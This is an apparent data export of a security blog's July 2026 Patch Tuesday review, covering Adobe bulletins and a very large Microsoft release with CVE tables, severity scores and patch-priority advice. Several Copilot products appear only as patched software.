Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:04.751810Z"}, {"uuid": "e3a53a10-e83a-41a4-a951-f81f3d0327fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54997", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure 